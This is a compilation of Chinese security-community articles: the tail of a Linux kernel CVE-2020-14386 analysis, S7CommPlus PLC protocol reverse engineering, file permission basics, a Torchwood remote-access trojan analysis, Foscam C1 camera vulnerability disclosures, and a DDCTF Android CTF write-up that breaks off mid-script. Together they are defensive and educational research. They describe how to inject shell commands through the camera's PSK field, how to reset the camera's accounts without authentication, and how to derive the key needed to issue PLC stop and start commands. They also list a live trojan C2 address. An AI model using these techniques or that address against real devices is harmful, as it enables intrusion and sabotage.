捕获的frame被划分为多个block，每个block是一块物理上连续的内存区域，有tp_block_size/tp_frame_size个frame，block的总数是tp_block_nr。例如，tp_block_size
= 4096，tp_frame_size = 2048，tp_block_nr = 4，tp_frame_nr = 8。得到的缓冲区结构如下图所示：
每个frame必须放在一个block中，每个block保存整数个frame，也就是说一个frame不能跨越两个block。在用户层映射环形缓冲区可以直接使用mmap()函数。虽然环形缓冲区在内核中是由多个block组成的，但是映射后它们在用户空间中是连续的。
### 五、漏洞分析
该漏洞具体出现在tpacket_rcv()函数中，该函数是基于PACKET_MMAP的数据包接收函数。具体功能实现如下代码所示：
行2226到行2228，如果sk_type为SOCK_DGRAM，表示不需要自行构造MAC首部，由内核填充，则macoff等于netoff，大小为TPACKET_ALIGN(tp_hdr_len)
+ 16 +
tp_reserve。如果sk_type为SOCK_RAW，则进入行2230，表示需要自行构造MAC首部。行2231到行2233，首先计算netoff，大小为TPACKET_ALIGN(tp_hdrlen
+(maclen < 16 ? 16 : maclen)) +
tp_reserve。行2234到行2237，如果设置了PACKET_VNET_HDR选项，还需加上一个virtio_net_hdr结构体的大小，然后设置do_vnet为真。行2238，计算macoff。
由于macoff、netoff以及maclen被定义为unsigned short类型，最大值为0xffff。而tp_reserve被定义为unsigned
int类型，最大值为0xffffffff，而且大小可以通过setsockopt()函数进行设置，如下代码所示：
因此，在计算netoff时，可以通过控制tp_reserve造成整数溢出，进而计算出错误的macoff。当执行到如下代码时：
行2287，调用virtio_net_hdr_from_skb()函数从sk_buff中拷贝数据，该函数第二个参数为h.raw + macoff –
sizeof(struct
virtio_net_hdr)，h.raw为tpacket_rcv_uhdr类型的指针，指向环形缓冲区的frame，由于macoff是可控的，可以让maoff小于sizeof(struct
virtio_net_hdr)，导致向前越界写，最多可写入sizeof(struct
virtio_net_hdr)个字节。根据提供的PoC，调试代码如下图所示：
rdx中存放着TPACKET_ALIGN(tp_hdrlen +(maclen < 16 ? 16 :
maclen))，大小为0x50。rbp+0x4e4处存放着po->tp_reserve，大小为0x0000ffb4。相加后，整数上溢后，rdx为0x0004。当执行到越界访问时，具体如下：
R9存放着h.raw指针，rdx存放着macoff，virtio_net_hdr结构体大小为0xa。如下图所示：
发生内存访问错误，造成系统崩溃。
### 六、参考链接
1、<https://blog.csdn.net/sinat_20184565/article/details/82788387>
2、<https://www.openwall.com/lists/oss-security/2020/09/03/3>
3、<https://elixir.bootlin.com/linux/v5.6/source/Documentation/networking/packet_mmap.txt>
4、<https://sysdig.com/blog/cve-2020-14386-falco/>
5、<https://bugzilla.redhat.com/show_bug.cgi?id=1875699#c9>
* * * | 社区文章 |
# S7CommPlus协议研究之动态调试二
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1、概述
[上一篇文章](https://www.anquanke.com/post/id/208827)讲述了对OMSp_core_managed.dll动态调试，以理解具体的通信握手、加密认证过程。通过计算，可以获取到相关关键参数的值，包括：Symmetric
key checksum、Public key
checksum、SecurityKeySymmetricKeyID、SecurityKeyEncryptedKey等，进而构造数据包发送到PLC，完成通信握手成功建立连接，但这仅完成了第一步工作，后续对PLC进行关键操作，如启动、停止、下载等操作，需要计算数据的一致性校验，只有通过了数据校验，PLC才会执行对应的关键操作指令。
## 2、环境配置
在完成了对V4.1.3固件版本的研究后，此次使用更高的固件版本作为研究目标，基本环境配置如下：Win7x64虚拟机、
PLC：S7-1200 , 6ES7 212-1BE40-0XB0
Firmware: V4.2.3
Software：TIA Portal V14
S7Comm-Plus Wireshark dissector plugin: V0.0.8
## 3、过程分析
### 3.1、数据一致性校验
通过TIA软件操作PLC，对其进行启动/停止操作，并对通信过程进行抓包，可看到相关数据如下：
数据中有一个长度为32字节的“Intergity
part”字段，该字段即为数据一致性校验，其通过某种算法，以“Data”字段数据为对象进行某种运算，最终得到32字节的校验值，只有当该校验值计算正确、PLC校验通过后，才会执行操作指令如启动/停止，否则，即使与PLC建立了通信，也无法进行实质操控。
“Intergity part”字段是如何计算得到的呢？从前期的文章中可以找到一些信息。绿盟2017年的文章表述如下：
文章指出该字段的计算与Session ID有关，加密过程使用了一个极为复杂的算法，图示中的函数输入参数只有a1,a2，且没有其他更多详细新。
再看2019年的文章：
文章指出：Integrity保护算法基于session key和通信内容（即上面提到的“Data”字段）进行MAC值计算（即HMAC-SHA256算法）计算得出，而session key的获得又与Algorithm 1有关，可以看到session
key的计算过程比较复杂：f函数以challenge和8作为参数进行运算，结果拼接上challenge内容，基于KDK进行HMAC-SHA256算法运算，得到的结果取前24个字节即为session key。所以“Integrity part”字段计算方法方式可以描述如下：
Session key = Hmac-sha256KDK (f(challenge,8)||challenge)[:24]
Integrity part = Hmac-sha256Session key (Data)
由此可知，计算“Integrity part”的关键在于获取到Session key和KDK。
### 3.2、动态调试
由于绿盟文章并未提到HMAC-SHA256算法用于计算“Integrity part”内容，其截图中给出的分析函数位置可作为参考，用于查找Session
key计算的位置：
进一步跟踪调试之后，找到了Session key的计算位置：
此函数有三个参数：其中一个指向的内容为实际用到的16字节challenge:
另一个参数为24字节内容，即文章中指出的24字节KDK，因此与文章中描述的Session
key计算过程吻合，进一步分析计算过程，可以推测到：sub_5E2F22ED即为文章中描述的f函数，此过程计算为西门子私有算法。第三个参数即为函数的输出了，即Session
key计算结果。
使用IDA静态分析看看f函数到底有些什么内容：
居然复杂到IDA无法打开的地步？百度了一通关于IDA如何解决上述错误问题，最终还是没能解决，或许是IDA的版本（v6.8）过低？更换了一个7.2再次尝试，F5之后的代码超过1600行，各种函数、数据运算，到此我们可以忽略这一个函数了。
通过调试定位了函数位置以及参数传递，接下来就是构造正确参数进行函数调用，获取Session key, 进而对交互数据计算出“Integrity
part”值了。
### 3.3、实验验证
握手、建立通信、进行操控，对整个过程分析、调试掌握之后，便可以串联起所有的步骤，编写一套程序对目标PLC进行测试验证了。当前已对v4.2.3版本固件PLC进行了相关验证，Demo如下：
您的浏览器不支持video标签
## 4、总结
西门子新版本的S7-1200、S7-1500均使用了新的S7Comm-Plus通信协议，想要对PLC进行任意攻防测试，基本过程分两步走：成功握手建立通信、正确计算“Integrity
part”进行具体操控。本次系列文章完成了协议分析、动态调试和演示测试，希望对同行研究者有所裨益，不当之处还请批评指正。
## 参考资料：
[1] <https://www.blackhat.com/docs/eu-17/materials/eu-17-Lei-The-Spear-To-Break%20-The-Security-Wall-Of-S7CommPlus-wp.pdf>
[2] https://www.blackhat.com/docs/eu-17/materials/eu-17-Lei-The-Spear-To-Break%20-The-Security-Wall-Of-S7CommPlus.pdf
[3] https://i.blackhat.com/USA-19/Thursday/us-19-Bitan-Rogue7-Rogue-Engineering-Station-Attacks-On-S7-Simatic-PLCs-wp.pdf
[4] https://i.blackhat.com/USA-19/Thursday/us-19-Bitan-Rogue7-Rogue-Engineering-Station-Attacks-On-S7-Simatic-PLCs.pdf | 社区文章 |
# 详细揭秘文件和文件夹权限原理
|
##### 译文声明
本文是翻译文章，文章来源：AuRora@360安全播报
原文地址：<https://blog.sucuri.net/2015/09/demystifying-file-and-folder-permissions.html>
译文仅供参考，具体内容表达以及含义原文为准。
如果你曾经摆弄过服务器你可能会注意到文件权限的存在。实际上,所有的计算机文件系统都提供基于同样核心思想的权限。这些Linux,Mac和Windows计算机中的文件权限和Apache,
Nginx和IIS服务器中的文件文件夹权限一样。你可以右键点击任何电脑上的文件并选择属性(Windows)或Get
Info(Mac)来了解详情。你也可以登陆你的服务器(使用FTP服务比如FileZilla)来进一步了解你的服务器文件和目录。
而本文旨在讨论你的服务器上的网站文件和文件夹。
你也许听说过一些引用比如chmod, 775, read/write,或 user
groups。这篇文章就是要解释权限的基本框架,为你提供清楚的术语。这对于我们这些刚刚开始学习服务器的人,以及总是对文件权限感到好奇并想了解更多的人很重要。最终,了解权限如何在你的服务器上运行能够使你的系统更加安全。换句话说,安全概念的相关知识帮助你形成敏锐的判断力来阻止你做类似对文件完全授权777这样的事(即使你的主文件允许这样做),或者在收到奇怪的文件权限时意识到那可能是入侵者的警告标志。
谁可以做什么
无论你用什么系统,它都有自己的一套特定的用户类别许可动作。
**用户类别**
这是3种在服务器上访问文件的用户类别。
Owner:第一种用户类别是单用户,经常用于创建文件的人。
Group:第二种分类包括你服务器上的其他FTP用户组。
Public:最后一种包括没有FTP账户的外来访问者。
这些组都被赋予数字来标志它们的权限级别。
权限级别是123:
·1 = Owner
·2 = Group
·3 = Public
这样我们就有了3个数字作为权限级别,但是数字都是什么含义呢?可能和你想象的不同,级别不是简单的从0—9——抱歉,这里还有一些学问。
**权限操作**
这里有3种操作需要授权,每一个由数字表示。
·4 – 读操作:仅仅显示文件。.
·2 – 写操作:改动文件。
·1 –执行:跑一个程序文件。
·0 – 无权限:任何人都无权做任何事,除非用户改变权限。
这些权限能被叠加从而使同样的用户类别得到多重权限操作。
·7 = (4 + 2 + 1) = 完全访问权限 (读操作+写操作+执行)
·6 = (4 + 2) = 不能执行 (读操作+写操作)
·5 = (4 + 1) = 非写 (读操作+执行)
·3 = (2 + 1) = 非读 (写操作+执行)
**改变文件权限**
为了改变文件权限,右键点击FileZilla(或FTP选择的其他客户端)服务器上的任何文件或文件夹。打开文件权限,你会看到下图所示的内容:
你可以查看选项,或键入三位数的代码来设置用户/组/公共权限。
**文件权限贴士:**
1.在改变权限之前,记录当前3位数权限代码。要是新的权限有问题,你可以轻松把代码改回来。
2.大多数文件应该有644权限(用户可以写,没人能执行)。
3.一些文件有私密数据配置信息(如:wp-config.php)那么服务器赋予660权限比较好。
4.大多数文件夹应该有755权限(执行操作使你可以打开文件夹)。
5.仅当你需要更多访问时才改变权限,之后再改回来。
6.如果你的CMS需要对文件进行写访问,这可能意味着组用户需要写权限。
7.避免文件夹设置777以及文件设置666,一些插件,主题和平台提供这个“建议”来解决权限错误,但是这给了所有人写和清除你的文件的权限。这就像是不锁门。
这些只是文件权限的表面知识。你的服务器上可以设置几个组用户,你也可以改变组对特定文件的权限。这就是作为一个系统管理员深入研究的开始,你可以在网上找到更多的内容以及使用文件权限的已有方法。
有关于服务器文件权限的任何问题或好的技巧吗?请在下方评论吧。 | 社区文章 |
# 木马作者主动提交Tatoo远控后门程序
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、 概述
近日，360核心安全团队发现一个伪装商业软件的木马程序，该程序拥有有效的数字签名《南充市庆达商贸有限公司》，该木马作者主动提交的软件“单据打印系统”，企图通过正规渠道来躲避安全软件的查杀。该木马拥有云控功能，可以在云端关闭或开启工作流程，通过对该木马的深入分析，最终发现开启工作流程后会安装一个远控后门程序长期潜伏在受害者的机器中。
## 二、 木马分析
#### 工作流程
该木马作者主动提交的“单据打印系统”除了正常的功能代码之外，还包含了一些加密信息，解密后会得到木马云控地址。根据后续代码流程可以知道从云端下发的文件是一个DLL模块，该模块将在内存中被加载，并执行名为“MainThread”的导出函数。运行了该DLL功能后，会继续释放其他恶意文件，对用户电脑进行安装布置，直至完全控制用户电脑。
木马工作流程
#### 详细分析
运行木马作者提交的“单据打印系统”软件程序，该程序首先会检测云控地址是否开启工作流程，如果没有开启那么软件将会运行无害的流程，显示正常的程序功能。但是如果云端开启工作指示，那么该软件就会运行潜伏工作，常驻在用户电脑中造成危害。
云控未开启的运行状态
木马程序检测到云端开启工作流程后下载DLL模块并在内存加载执行的代码如下。
云控开启后的木马流程
由于木马作者提交的软件版本中云控地址（hxxp://www.ohmytatoo.com/Tatoo.html）暂未开放，所以并未开始投入使用。不过通过360安全大脑感知，我们却发现了相同C&C域名的木马在野传播案例。如下图所示，在野木马程序功能与上述提交的软件版本基本一致，都是通过云控地址下载恶意文件，但与之前版本不同的是，在野木马中还多了一个加密的恶意程序，在调用“MainThread”导出函数时，会直接加载运行该恶意程序。
在野木马程序
对比在野木马和提交审核版本的云控流程，发现C&C地址可以相互替换，运行流程是一致的，两个程序调用恶意DLL的代码部分基本相同。
企图认证的程序 恶意程序
从在野木马云控地址（hxxp://www.ohmytatoo.com/dll.jpg）下载的文件，主要功能是在C盘根目录下创建一个Microsoftxxxxx的目录（目录后5位是随机字符），并将加密恶意模块写入到该目录下的文件“bugrpt.log”，同时再释放一些辅助模块，文档结构如下图所示。
木马释放的文件
其中“schedule.exe”是被木马利用的”窗口隐藏工具”，可以通过更改同目录下的配置文件让该程序来完成添加自启动项的任务。
白利用设置自启动
接着木马程序会通过命令行调用”temp.exe”（实为WinRAR解压程序）对
“temp.txt”文件进行解压，解压密码为”123”。此步骤释放出来的两个重要文件是一组典型的白利用，用于躲避安全软件的查杀，其中白文件是腾讯的漏洞扫描程序，被重命名为“schedule.exe”用以替换刚刚添加自启动项的”窗口隐藏工具”，而黑文件则命名成“qmipc.dll”以便在系统自启白文件“schedule.exe”时自动被加载。
进程链
“qmipc.dll”模块的主要任务是对加密恶意模块bugrpt.log进行解密和内存加载，并启动名为“Torchwood”的导出函数。解密的恶意模块即为Torchwood远控的核心程序。
PELoader模块
进一步对该后门程序进行分析，得到木马远控的上线地址为120.24.231.105:7363。
木马上线地址
至此，该木马程序就完成了其安装工作的任务，可以长期潜伏在受害用户的电脑中，并实时处于木马作者的监控之中。下图是木马作者云端使用的后门管理软件。
木马控制端
该木马拥有的都是常规的远控程序功能，包括文件管理，键盘记录，屏幕控制，语音监听等等功能。其中部分操作指令及对应的功能如下：
远控部分指令
## 三、 寻踪溯源
由于360安全大脑的实时监测和持续查杀，导致该系列木马存活率低，于是作者铤而走险，妄想通过伪装成正规公司来提交软件，企图蒙混过关。软件审核过程中该作者还多次通过电话和邮箱催促，一再强调自己是正常软件，实在是“此地无银三百两”。
木马作者邮件
根据提交的资料，我们整理了木马作者的相关信息
木马作者信息
查看木马作者的QQ：
木马作者QQ
根据360安全大脑的监测数据，我们发现木马作者经常活跃的城市主要有两个，一个是江苏无锡，正好对应QQ号的归属地址，另一个是四川的南充，则对应作者提交的公司地址。
木马作者活跃地址-江苏
木马作者活跃地址-南充
查询该公司的营业执照，发现此公司确实存在。
签名公司的营业执照
除了“正规”的营业执照，木马作者还特定为该公司申请了合法有效的数字签名。
木马的签名信息
进一步挖掘后发现，该系列远控木马与曾经多次出现的Torchwood木马是同一家族，早在2017年的一篇报告中我们就披露了Torchwood木马作者的部分信息（“hxxps://www.anquanke.com/post/id/87775”），与这次木马作者企图混白时提供的信息比较发现，拥有相同的手机号码和qq号，因此认为是同一人或团伙所为。该木马作者在上次被曝光后并未收手，持续对木马进行更新，对抗安全软件的查杀。（下图中为我们追踪到的不同版本的Torchwood木马控制端）。
木马控制端
## 四、 总结
360安全大脑一直以来都会对监测到最新木马病毒第一时间进行查杀，并通过多种技术手段防御和发现最新木马病毒，保证用户信息的安全。
## 五、 附录
**Hashs** | 社区文章 |
# 【漏洞分析】Foscam C1室内高清摄像机的多个漏洞分析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<http://blog.talosintelligence.com/2017/11/foscam-multiple-vulns.html>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[eridanus96](http://bobao.360.cn/member/contribute?uid=2857535356)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**摘要**
Foscam
C1室内高清摄像头是一个基于网络的摄像头，用于包括家庭安防在内的多种场合。在6月，Talos团队曾发现该设备存在多个漏洞，并与Foscam一同开发了修复补丁，随后在我们的博客中发布了漏洞的详细信息：
<http://blog.talosintelligence.com/2017/06/foscam-vuln-details.html>
在继续对这些设备进行安全评估的过程中，我们又发现了其它漏洞。根据我们“负责任的披露”原则，我们已经与Foscam进行合作，以确保这些漏洞最终能得以解决，并且可以为受漏洞映像的客户提供固件更新。
借助本次发现的这些漏洞，攻击者可以在受漏洞影响的设备上实现远程代码执行，并可以将恶意固件映像上传至设备，最终可能导致攻击者完全控制该设备。
**webService DDNS客户端代码执行漏洞**
Foscam
C1室内高清摄像机一旦启用了动态DNS（DDNS）功能，就很容易受到多个缓冲区溢出漏洞的攻击。针对启用了DDNS的设备，攻击者可以利用恶意HTTP服务器来进行攻击。
当设备启动时，会产生一个线程，以定期连接到此前配置过的DDNS服务器。该线程会检查是否存在可用更新，同时检查与DDNS服务器相关联的IP地址是否发生变化。在该过程中，设备向DDNS服务器发送请求，随后没有执行边界检查，就将DDNS服务器的响应写入到缓冲区之中。
**如果攻击者能够控制服务器，构建一个大于所分配缓冲区的响应消息并返回，就能导致溢出，从而在设备上实现远程代码执行。** 由该问题导致的漏洞如下：
**Foscam IP Video Camera webService oray.com DDNS Client Code Execution Foscam
IP Video Camera webService oray.com DDNS Client Code Execution Vulnerability
(TALOS-2017-0357 / CVE-2017-2854)**
<https://www.talosintelligence.com/reports/TALOS-2017-0357/>
**Foscam IP Video Camera webService 3322.net DDNS Client Code Execution
Vulnerability (TALOS-2017-0358 / CVE-2017-2855)**
<https://www.talosintelligence.com/reports/TALOS-2017-0358/>
**Foscam IP Video Camera webService dyndns.com DDNS Client Code Execution
Vulnerability (TALOS-2017-0359 / CVE-2017-2856)**
<https://www.talosintelligence.com/reports/TALOS-2017-0359/>
**Foscam IP Video Camera webService 9299.org DDNS Client Code Execution
Vulnerability (TALOS-2017-0360 / CVE-2017-2857)**
<https://www.talosintelligence.com/reports/TALOS-2017-0360/>
**CGIProxy.fcgi固件升级未验证映像漏洞(TALOS-2017-0379 / CVE-2017-2872)**
Foscam C1室内高清摄像机允许通过设备上的Web管理界面进行固件升级，然而该设备并没有对用户提供的固件升级映像文件进行充分的安全验证。
攻击者可以利用这一漏洞， **在受影响的设备上上传并执行自定义的固件映像。** 但由于权限限制，攻击者需要登录到管理员权限账户，才可以进行升级操作。
该漏洞编号为CVE-2017-2872，详细信息请参见：
[https://www.talosintelligence.com/reports/TALOS-2017-0379/](https://www.talosintelligence.com/reports/TALOS-2017-0379/)
**
******
**CGIProxy.fcgi模拟AP配置命令执行漏洞 (TALOS-2017-0380 / CVE-2017-2873)**
Foscam C1室内高清摄像机允许配置“模拟AP”（SoftAP），以便在第一次通过Wi-Fi使用时对摄像机进行设置。这一功能可以在Web界面进行配置。HTTP请求首先由CGIProxy.fcgi进程处理，该进程会向相应组件发送消息。当处理“setSoftApConfig”命令时，“webService”中的sub_35FCC函数会被调用。在这里，只有2级权限（管理员）的用户才有权调用此命令。
该函数会从“查询”[1]
中获取参数，随后函数会检查“psk”参数，并要求其长度至少为7个字符[2]，且不包含“n”或“r”字符[3]。最后，使用消息代码“0x607F”将请求转发到另一个组件。
消息代码“0x607F”将会由devMng中的函数 **OnDevMngMsgSetSoftApConfig**
来处理。该函数会将固定的SSID和用户提供的PSK复制到“CNetworkService”对象[5]中。随后，在[6]处它会调用另一个函数，修改模拟AP中的配置文件。
**sub_3DF44** 函数再次复制SSID和PSK，随后，调用负责配置模拟AP的sub_4519C函数。该函数首先在[7]的位置更新文件“
**/mnt/mtd/app/config/SoftApConfig.xml** ”，然后更新“
**/mnt/mtd/app/etc/RT2870AP.dat** ”。上述更新操作都是通过系统的 **sed** 命令来完成。
由于[9]中的PSK参数由用户控制，攻击者就可以使用这一漏洞来插入任意Shell命令。
**此漏洞需要具有管理员权限的有效用户账户，并借助于“setSoftApConfig”命令访问** ，其PoC如下：
**devMng 多摄像头10000端口0x0000命令信息泄露漏洞 (TALOS-2017-0381 / CVE-2017-2874)**
Foscam
C1室内高清摄像机允许设备通过UDP端口10000和10001与另一台设备进行通信。这一功能的目的是：方便用户在Web管理界面中看到来自多个设备的视频流。
然而，这些设备存在信息泄露漏洞， **未经身份验证的远程攻击者可以利用此漏洞获取到设备的敏感信息，例如MAC地址、摄像机名称和固件版本。**
该漏洞编号为 **CVE-2017-2874** ，更多信息请参见：
[https://www.talosintelligence.com/reports/TALOS-2017-0381/](https://www.talosintelligence.com/reports/TALOS-2017-0379/)
。
**devMng 多摄像头10000端口0x0002命令用户名字段代码执行漏洞 (TALOS-2017-0382 / CVE-2017-2875)**
在Foscam C1设备之间的通信过程中，还存在一个缓冲区溢出漏洞，未经身份验证的远程攻击者可以利用该漏洞实现远程代码执行。
该漏洞是由于 **在身份验证的请求过程中，对提交的用户名参数缺少正确的边界检查。**
该漏洞编号为CVE-2017-2875，更多信息请参见：
[https://www.talosintelligence.com/reports/TALOS-2017-0382/](https://www.talosintelligence.com/reports/TALOS-2017-0379/)
。
**devMng 多摄像头10000端口0x0002命令密码字段代码执行漏洞 (TALOS-2017-0383 / CVE-2017-2876)**
与上一个漏洞原理完全相同， **在身份验证的请求过程中，对提交的密码参数也没有进行完全的边界检查** ，从而导致了这一漏洞。
其编号为CVE-2017-2876，更多信息请参见：
[https://www.talosintelligence.com/reports/TALOS-2017-0383/](https://www.talosintelligence.com/reports/TALOS-2017-0379/)
。
**devMng 多摄像头10001端口0x0064命令Empty AuthResetKey漏洞 (TALOS-2017-0384 /
CVE-2017-2877)**
同样是在Foscam
C1设备之间的通信过程中，未经身份验证的攻击者可以通过向受漏洞影响设备的UDP端口10001发送特定的网络数据包，从而将设备上配置的用户账户信息重置为出厂默认值。
**由于缺少相应的校验机制，因此即使在请求信息中不包含合法的“authResetKey”值，也可以重置用户账户。**
该漏洞编号为CVE-2017-2877，更多信息请参见：
<https://www.talosintelligence.com/reports/TALOS-2017-0384/> 。
**CGIProxy.fcgi logout代码执行漏洞 (TALOS-2017-0385 / CVE-2017-2878)**
Foscam
C1设备的Web界面需要首先进行身份验证，然后才能访问其中的某些功能。其中的登录和注销操作，是通过CGI调用来实现的。HTTP请求首先由“CGIProxy.fcgi”来处理，该过程将向相关组件传递消息。当处理“logOut”命令时，“webService”中的sub_42CF4函数将被调用。然而，拥有任何权限的用户都可以执行这一命令。（权限最低的是“访客”用户，级别为0。）
该函数从查询中获取“usrName”参数。为了确保最多有0x40[2]个字符存入目标缓冲区[3]中，该操作会使用extract_param[1]来完成。随后，该目标缓冲区会再一次被复制[4]，并且经由一次代码为“0x400A”[5]的IPC调用，将其发送至另一个不同的进程之中。
消息代码“0x400A”由“storage”中的“OnStorageMsgUserLogOut”函数处理，该函数会将由IPC得到的用户名、IP地址以及数字“4”复制到大小为0x2c的结构中，然后传递给一个函数[6]，以记录注销操作。
我们特别注意到，用户名是使用strcpy[7]被复制到结构中的。
**为用户名预留的空间是0x20字节，小于函数sub_42CF4（0x40字节）所能获得的最大空间。**
上述缺陷，就足以导致攻击者可以覆盖栈内保存的PC内容。
**该漏洞至少需要一个“访客”级别以上的用户账户，并且利用“logOut”命令来实现。**
下面的PoC可以覆盖已经保存的PC以及计数器%r4，以调用“system("reboot")”命令，可能需要多次尝试才能成功：
**UPnP Discovery代码执行漏洞 (TALOS-2017-0386 / CVE-2017-2879)**
Foscam
C1设备使用了UPnP协议，用于和网关进行通信，以使摄像机的Web界面可远程访问。在启用UPnP后，设备会每隔30秒向组播地址239.255.255.250的1900端口发送下述UPnP发现消息（UPnP
Discovery Message）：
当收到对此消息的回复时，设备将对其进行分析，从中提取到控制URL并试图连接，以保证持续的通信。
“webService”中的sub_6DC10函数在专用线程中运行，它会不断尝试通过调用sub_6D9AC[1]函数来发现新的启用UPnP协议的设备，sub_6D9AC函数又会反过来调用sub_6CBD0。
sub_6CBD0函数生成一个UPnP发现消息[2]，并将其[3]发送至多播地址239.255.255.250。当其接收到应答[4]时，将会分析[5]之中的消息。
位于[5]的缓冲区将被复制，并且会检查下列内容：
**在消息中的任意位置，是否包含字符串“200 OK”[6]；**
**在消息中的任意位置，是否包含字符串“http://”；**
**在http://后，是否存在字符串“r”。**
最后，sub_62A08被调用，并将消息中从“http://”开始的内容作为第三个参数传递到“std::string”对象。
sub_62A08解析控制URL，并向其发送HTTP请求。为此，控制URL[10]首先被函数sub_62790标记化，它将主机[11]、端口[12]和路径放在三个不同的缓冲区中。然后，对提取的token使用sprintf函数，将其置于200字节[15]大小的目标缓冲区中，从而生成HTTP请求。
**由于sprintf对于写入缓冲区的字符长度是没有限制的，同时传递给sprintf的参数并没有对其大小进行检查，因此我们可以使用过长的控制URL来溢出目标缓冲区。**
启用UPnP后，在接收到UPnP发现时，可以使用简单的UDP消息来触发该漏洞。下面的PoC可以使Web服务崩溃：
**受漏洞影响的版本**
经过测试，我们确认以下Foscam固件版本受到上述所有漏洞影响：
**Foscam 室内网络摄像机 C1 系列**
**系统固件版本: 1.9.3.18**
**应用程序固件版本: 2.52.2.43**
**插件版本: 3.3.0.26**
**结论**
Foscam
C1是市场上最为常见的一个网络摄像机产品。因此，这些设备可能会被部署在敏感的位置。由于该型号的网络摄像机适合于安全监控，所以许多人使用这些设备远程监控他们的家庭、儿童和宠物。
基于此，我们强烈建议用户及时升级固件，保持设备在最新状态，从而确保设备的安全性。
Foscam目前已经发布固件更新，可用来修复上述所有漏洞。受影响设备的用户应该尽快更新到最新版本，以确保自己的设备不受攻击。 | 社区文章 |
# DDCTF2019官方Write Up——Android篇
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：bin233 唐山师范学院/大四/DDCTF2019 Android方向 TOP2
第三届DDCTF高校闯关赛鸣锣开战，DDCTF是滴滴针对国内高校学生举办的网络安全技术竞技赛，由滴滴出行安全产品与技术部顶级安全专家出题，已成功举办两届。在过去两年，共有一万余名高校同学参加了挑战，其中部分优胜选手选择加入滴滴，参与到了解决出行领域安全问题的挑战中。通过这样的比赛，我们希望挖掘并培养更多的国际化创新型网络安全人才，共同守护亿万用户的出行安全。
## Android第一题：Breaking LEM
首先将apk拖入JEB进行反编译，来到入口类并找到点击事件函数。
观察到Java层只负责传递输入内容到native层，因此直接分析so文件的Java_com_didictf_guesskey2019lorenz_MainActivity_stringFromJNI函数即可。
该函数首先会将输入内容与字符串”ddctf-android-lorenz-“比较，如果输入长度不足则直接失败，否则将进行截断操作（如输入ddctf-android-lorenz-XXX将截断为XXX）。
之后会对“XXX”进行逐字符验证，字符必须属于字符串”ABCDEFGHIJKLMNOPQRSTUVWXYZ123456″。接下来就是洛伦兹加密了，在GitHub找到该算法实现，发现该算法加解密是同一个函数。因此只需要拿到密文，再让apk跑一次就是明文。不出所料，洛伦兹加密只对XXX进行加密（设加密后为YYY）。随后会对YYY进行sha256运算。
分析发现是五层sha256算法进行加密，最后与shaCorrect进行比较。通过查找交叉引用便能找到shaCorrect的真实字符串（在init_array中进行初始化）。
接下来的任务便是暴力破解该sha256，比赛当晚我就跑完了7位及以下所有字符串。最后等到了提示，是8位字符串并告诉了前两位字符。因此，将其补齐为八位字符串，就能保证经过洛伦兹加密后的前两位密文是不变的，只需要暴力破解后六位字符串即可。最终运气爆棚，倒着爆一分钟就出来了。
将爆出来的结果拼接上ddctf-android-lorenz-，让apk自动为我们解密出明文。
## Android第二题 Have Fun
首先拖入JEB发现标识符被混淆成了不可见字符，由于文件不大，直接手动重命名反混淆。
很容易追踪到对输入内容第一次加密的函数，o（）、p（）函数会将Assets中的dex文件释放到一个隐藏文件夹中，还偷偷改了字节码。
Apk使用到第一代加固保护技术，通过DEXClassLoader热加载dex文件，继续跟进dexLoader函数中。
为了更快更准确的拿到dex文件，使用IDA动态调试dex，便能直接得到dex文件路径以及即将被加载的dex文件（直接从assets中拿到的dex文件算法是错误的）。
正确的算法实现如下：
接下来程序会删除该dex文件，最后调用so层函数。So文件进行了section加密，但直接静态分析就够了。从JNI_Onload中得到动态注册的三元组，并找到具体函数位置。
程序会对输入内容进行16进制转换并与内存中的固定数据进行比较，该数据如下图所示。
解题脚本如下：
## Android第三题 不一样的Service
本题使用了控制流平坦化，画面实在是太美，强行带混淆调试。首先JAVA层会开启一个service参与输入内容的验证，没有什么关键逻辑，重点关注so层。从JNI_OnLoad找到动态注册的函数如下：
很容易发现如下反调试检测的函数，这里先不去关心。
接下来留意到Parcel的处理函数，创建结构体方便后续分析，动态调试中重点关注readString的调用。
单步跟踪发现如下函数会使用到readString函数（偏移0x1DB50）。
跟到如上图位置（偏移0x10458），终于拿到java层输入的内容，接着进入到sendInput1函数（偏移0x1B0D4）。
这里会发现程序使用socket将输入内容发送了出去，接着进入recvResult函数（偏移0x1470C）。
发现recv的数据竟然与send的数据不同，而且调试多次发现每次recv到的内容还都不一样，暂且放下该问题。接着接收的数据进行分析，程序会将该内容与固定的内存数据（称之为enFlag）进行比较（偏移0x8540）。
后来想到还有一个service进程，开始调试service进程。跟踪到validate函数，发现如果输入长度为32位就会返回dd字符串（并且在主进程也有对recv的结果是否为ddd的验证，否则都不会接收到那个奇怪的内容）。
第一次加密操作：单步慢慢跟进很容易发现，这里使用python实现如下：
第二次加密操作：会先保存前两个元素，后面元素每两个进行异或，处理完后将刚才保存的元素放到最后。伪代码如下：
第三次加密操作：会再与某个内存数据（称之为key）进行逐位异或，最后send出去，这就是在主线程recv的数据与send的数据不同的原因（主进程与服务进程进行socket通信，因而之前IDA只能控制主进程空间）。
将key与enFlag逐位异或就完成了一次解密，但发现最后两个元素明显不处于ASCII码表中，所以推测自己得到了一个错误的key（印证了之前recv多个不同结果的现象）。
因此先随便输入32位字符串，自行实现第一二次加密操作进行加密，然后将其与主进程recv的数据进行异或，这样就得到了多组key，必然有一个key是真实的。
将这些key继续与enFlag异或，其中一个key异或结果如下图所示。
68对应字符‘D’，而69正好是第一次加密加了下标1导致的，因此也是‘D’（不正好像DDCTF吗？可以推断出自己已经得到了正确的数据）。接下来的问题就是破解“第二次加密”了，直接无脑爆破不太现实，这里提供两种解密方式：
逆向猜解法：
可以推测最后一个元素数据是“}”，那么“第一次加密后”他就是“}”+31=156。所以只需要猜解倒数第二个元素，然后逆着异或。具体脚本如下：
def myPrint(res):
ret=[]
for i in range(32):
ret+=chr(res[i]-i)
print "".join(ret)
for j in range(160):
ispass=0
